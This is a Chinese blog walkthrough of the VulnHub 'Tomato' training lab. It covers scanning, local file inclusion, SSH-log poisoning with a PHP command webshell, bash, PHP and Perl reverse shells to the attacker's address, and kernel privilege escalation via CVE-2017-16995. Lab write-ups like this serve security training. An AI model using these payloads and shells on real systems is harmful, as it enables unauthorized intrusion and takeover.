当前位置:网站首页>vulnhub之tomato(西红柿)
vulnhub之tomato(西红柿)
2022-07-03 11:05:00 【梅_花_七】
目录
一、主机发现
二、端口扫描
三、服务版本发现
开放了两个http服务端口,使用的中间件不一样。
21端口部署ftp
2211端口部署ssh服务
还知道这是unbuntu系统。

四、信息收集
1.80
果然是个大西红柿,再例行检查下源码,业务有用信息

2.8888
登录框,最经典尝试,弱口令。无法成功
五、扩大供给面扫描目录
1.dirsearch常规字典
啥都没有,换大字典的话dirsearch跑的很慢,所以换gobuster

2.gobuster
是基于go语言开发的,速度快
gobuster dir -u http://192.168.0.101 -w /usr/share/seclists/Discovery/Web-Content/common.txt
301状态码引起我们的注意

六、/antibot_image信息收集
1.从图片判断这服务器部署里反爬虫应用

2.info.php文件
这就是一个phpinfo文件,里面有开关配置信息,服务器环境,配置文件目录等

3.info.php文件源码
注释中出现了信息泄露,很明显是一个include文件包含的函数

七、文件包含
1.参数中对本地文件进行包含
2.对远程文件包含
实操:在kali上创建一个php文件,来远程包含,失败
条件:简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。
要实现远程文件包含的话,php配置的allow_url_include = on必须为on(开启)
这点从phpinfo中也可以看出来。他没开
3.通过文件包含漏洞查看私钥
失败,他没有/home/tomato/.ssh/id_rsa
4.查看ubuntu日志文件
/var/log/auth.log
这个日志是unbuntu默认的登陆失败的记录日志。所以我们可以利用ssh或者ftp登录失败注入代码。

5.测试
ssh [email protected] -p 2211
果然我们输入的aaaaaaaaaaaa都出现在了上面,把他更改为木马

6.写入命令执行木马到日志
<?php echo system($_GET['cc'])?>
将这个写入的时候,php代码没有显示,证明服务器存在php运行环境,注入脚本正常解析了

7.参数测试
view-source:http://192.168.0.101/antibot_image/antibots/info.php?image=/var/log/auth.log&cc=id

八、反弹shell
最后利用python反弹成功
1.bash
bash -i >& /dev/tcp/192.168.0.104/4444 0>&1
2.php
php -r '$sock=fsockopen("控制端ip",控制端端口);exec("/bin/bash -i <&3 >&3 2>&3");'
3.perl
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

九、内核漏洞枚举提权
1.工具linux-exploit-suggester
sudo apt install linux-exploit-suggester
2.传输工具
服务端:
nc -nvlp 4444 > 1.sh
客户端:
nc 192.168.0.101 4444 < linux-exploit-suggester.sh -w 1
3.挨个尝试

十、CVE-2017-16995

在kali端用gcc编译后,nc上传,给予权限,最后执行。

边栏推荐
- ftp登录时,报错“530 Login incorrect.Login failed”
- 错排问题 (抽奖,发邮件)
- Slam mapping and autonomous navigation simulation based on turnlebot3
- repo ~ 常用命令
- AI模型看看视频,就学会了玩《我的世界》:砍树、造箱子、制作石镐样样不差...
- Keepalived中Master和Backup角色选举策略
- R language uses grid of gridextra package The array function combines multiple visual images of the lattice package horizontally, and the ncol parameter defines the number of columns of the combined g
- Event preview | the live broadcast industry "rolled in" to drive new data growth points with product power
- 小鹏 P7 撞护栏安全气囊未弹出,官方回应称撞击力度未达到弹出要求
- The LINQ expression node type 'ArrayIndex' is not supported in LINQ to Entities
猜你喜欢

Qt+VTK+OCCT读取IGES/STEP模型

VS2015的下载地址和安装教程

Event preview | the live broadcast industry "rolled in" to drive new data growth points with product power

2022 northeast four provinces match VP record / supplementary questions

Visual Studio 2022下载及配置OpenCV4.5.5

(database authorization - redis) summary of unauthorized access vulnerabilities in redis

聊聊Flink框架中的状态管理机制

PHP Basics

Based on MCU, how to realize OTA differential upgrade with zero code and no development?

Modular programming of single chip microcomputer
随机推荐
DNS多点部署IP Anycast+BGP实战分析
2022 northeast four provinces match VP record / supplementary questions
错排问题 (抽奖,发邮件)
牛牛的组队竞赛
R language uses data The table package performs data aggregation statistics, calculates window statistics, calculates the median of sliding groups, and merges the generated statistical data into the o
导师对帮助研究生顺利完成学业提出了20条劝告:第一,不要有度假休息的打算.....
程序员的创业陷阱:接私活
银泰百货点燃城市“夜经济”
软考中级软件设计师该怎么备考
After watching the video, AI model learned to play my world: cutting trees, making boxes, making stone picks, everything is good
vulnhub之GeminiInc
PHP Basics
phpcms 提示信息頁面跳轉showmessage
Program process management tool -go Supervisor
ASP.NET-酒店管理系統
POI excel cell wrap
After setting up ADG, instance 2 cannot start ora-29760: instance_ number parameter not specified
Slam mapping and autonomous navigation simulation based on turnlebot3
MySQL union和union all区别
836. 合并集合(DAY 63)并查集